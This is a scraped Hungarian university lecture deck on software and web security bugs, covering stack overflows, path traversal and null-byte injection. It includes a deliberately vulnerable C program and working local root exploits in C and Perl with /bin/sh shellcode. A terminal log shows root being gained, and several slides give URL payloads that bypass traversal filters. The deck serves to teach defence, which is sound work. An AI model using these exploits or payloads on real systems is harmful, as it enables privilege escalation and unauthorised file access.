210 likes | 303 Views
Számítógépes Hálózatok II. Széchenyi István Egyetem. Programhibák. Környezeti változó Temp fájl/könyvtár hibás kezelése I/O hiba. A fent említett hibák megléte jelentősen csökkenti a rendszer biztonsági szintjét. I/O kezelés. Ellenőrzött INPUT!! Ellenőrzött OUTPUT!!
E N D
Számítógépes Hálózatok II Széchenyi István Egyetem Széchenyi Isván Egyetem Számítógépes hálózatok II
Programhibák • Környezeti változó • Temp fájl/könyvtár hibás kezelése • I/O hiba A fent említett hibák megléte jelentősen csökkenti a rendszer biztonsági szintjét Széchenyi Isván Egyetem Számítógépes hálózatok II
I/O kezelés • Ellenőrzött INPUT!! • Ellenőrzött OUTPUT!! • Input adat megfelelő kezelése,memóriában való mozgatása Nem megfelelően kezelt I/O adatok nagy veszélyt jelenthetnek olyan programok Esetén, melyek magasabb privilégiummal futnak, mint a felhasználó jogosultságai Széchenyi Isván Egyetem Számítógépes hálózatok II
Stack Overflow • Hiba alapja a nem megfelelő memóriamozgatás • Segítségével bármilyen kód végrehajtható • Kihasználásához speciális körülmények szükségesek A technika és a hiba nagyon régi, mégis a mai napig megtalálható a rendszerekben. Rengeteg szervert és hálózatot törnek fel ezen technika alkalmazásával Széchenyi Isván Egyetem Számítógépes hálózatok II
Stack Overlow alapok • Memória felépítés (Verem,kód,adat szegmens) • Verem felépítése,működése (LIFO) • Milyen adatok vannak a veremben? • átmeneti adatok • környezeti változók, paraméterek • rendszerváltozók • ugrási táblázatok…. Széchenyi Isván Egyetem Számítógépes hálózatok II
Fontosabb regiszterek • ESP (Stack Pointer, x86 architektúrán a stack tetejére mutat) • EBP (függvények helyi változói,paraméterek,visszatérési cím(!!)) • EIP (köv. végrehajtandó byte(!!)) A hiba megtalálása nagyon egyszerű, már létezik olyan fordító, mely észre is veszi a lehetséges veszélyeket Széchenyi Isván Egyetem Számítógépes hálózatok II
Hiba kihasználása • Etikus/etikátlan • Shellcode (kritériumok) • Esély növelése (NOP) Széchenyi Isván Egyetem Számítógépes hálózatok II
Hackeljünk! Széchenyi Isván Egyetem Számítógépes hálózatok II
Hibás példaprogram #include <stdio.h> int main(int argc,char **argv){ char buf[256]; if(argc < 2) { printf("Usage: %s <overflowbuffer>\n",argv[0]); exit(-1); } strcpy(buf,argv[1]); /* Boooom */} } Széchenyi Isván Egyetem Számítógépes hálózatok II
Biztonsági Audit C nyelven /* c0dEd bY Depth fR0m HB S3CurTy tEAm*/ #include<stdio.h> #include<stdlib.h> #define NOP 0x90 #define LEN 2048 #define RET 0xbffff000 //0xbffffd18 int main(int argc, char **argv){ char shellcode[]="\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08„ "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0„ "\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"; char buffer[LEN]; long addr = RET; int i;addr+=atoi(argv[1]); for(i=0;i<(LEN - sizeof(shellcode));i++){ *(buffer+i)=NOP; } for(i=0;i<300;i+=4){ *(long *)&buffer[i]= addr; } memcpy(buffer+(LEN-sizeof(shellcode)),shellcode,sizeof(shellcode)); execl("./test1","HBST exploit",buffer,0); return 0; } Széchenyi Isván Egyetem Számítógépes hálózatok II
Biztonsági Audit Perl Nyelven #!/usr/bin/perl # Coded By Depth from HB Security Team $shellcode = "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c"; $shellcode .="\x89\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d"; $shellcode .= "\x53\x0c\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde"; $shellcode .= "\xff\xff\xff/bin/sh"; $nop= "\x90"; $ret= 0xbffff000; $len=2048; $new_ret=pack("l",($ret + $ARGV[0])); for ($i=0; $i<$len; $i+=4) { $buffer .= $new_ret; } for($i=0;$i< $len - length($shellcode)-100;$i++){ $buffer .= $nop; } $buffer .= $shellcode; exec("./test1",$buffer,0); Széchenyi Isván Egyetem Számítógépes hálózatok II
Hiba kihasználása srv-halx:/tmp$ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) srv-halx:/tmp$ for i in `seq 200 500`;do ./expl1.pl $i;done ………………………… Trace/breakpoint trap Illegal instruction Segmentation fault Illegal instruction Trace/breakpoint trap Illegal instruction Illegal instruction Illegal instruction Trace/breakpoint trap Illegal instruction sh-2.05a# id uid=65534(nobody) gid=65534(nogroup) euid=0(root) groups=65534(nogroup) sh-2.05a# Széchenyi Isván Egyetem Számítógépes hálózatok II
Webes biztonság Problémák: • Nagy, összetett rendszerek • Nem ellenőrzött INPUT • Nem megfelelő jogosultságok • Biztonság alapvető hiánya A problémák az egyszerű oldalaktól a bonyolult webes áruházakig megtalálhatók Széchenyi Isván Egyetem Számítógépes hálózatok II
Könyvtárak, fájlok hibás kezelése I Legegyszerűbb eset: www.akarmi.hu/index.php?fajl=adatok.txt <?php …. fopen($HTTP_GET_VARS['fajl'], "a"); …… ?> Az adatok.txt helyére bármilyen fájlt megadhatunk aminek olvasásához a httpd-nek Joga van. Széchenyi Isván Egyetem Számítógépes hálózatok II
Könyvtárak, fájlok hibás kezelése II Kicsit „biztonságosabb” eset: www.akarmi.hu/index.php?fajl=adatok.txt <?php $file = '/var/www/'.$HTTP_GET_VARS['fajl];fopen($file, "a"); ?> www.akarmi.hu/index.php?fajl=../../file_amit_akarok Megfelelő védelmet nyújt minden esetben a teljes META karakterkészlet szűrése Széchenyi Isván Egyetem Számítógépes hálózatok II
Könyvtárak, fájlok hibás kezelése III <?php $grep_file = preg_replace("/\.\.//i",'',$HTTP_GET_VARS['fajl']);$file = '/files/include/'.$grep_file;fopen($file, "a"); ?> Preg_replace() függvény kiszűri a ../ karaktereket a fájlnévből. Trükk: …/…//…/…//file_amit_akarok Átalakítás: .../ -> . …// -> ./ Széchenyi Isván Egyetem Számítógépes hálózatok II
Saját script futtatása Probléma: www.akarmi.hu/index.php?inc_text=oldal.php • A probléma kihasználásának feltételei: • egy szerver, melyen nincs php futtatási lehetőség • saját script Ettől kezdve összetett programokat, exploitokat lehet futtatni melyek segítségével Akár Adminisztrátori szintre is lehet törni a célszervert. Széchenyi Isván Egyetem Számítógépes hálózatok II
NULL byte • Hexában %00 • Mit jelenthet? (gondoljunk a C programozásra) Csak a meghatározott kiterjesztésű fájlokat lehet megnyitni: <?php $file = $HTTP_GET_VARS['fajl'];$file = $file.'.txt';fopen($file, 'r');?> www.valami.hu/index.php?fajl=adatok.txt index.php%00.txt // index.php forrása!! Széchenyi Isván Egyetem Számítógépes hálózatok II
Befejezés? • Törekedjünk legalább a minimális biztonságra • A lista nem teljes… • Biztos, hogy hozzánk nem törtek be? Széchenyi Isván Egyetem Számítógépes hálózatok II
Köszönöm a figyelmet Széchenyi Isván Egyetem Számítógépes hálózatok II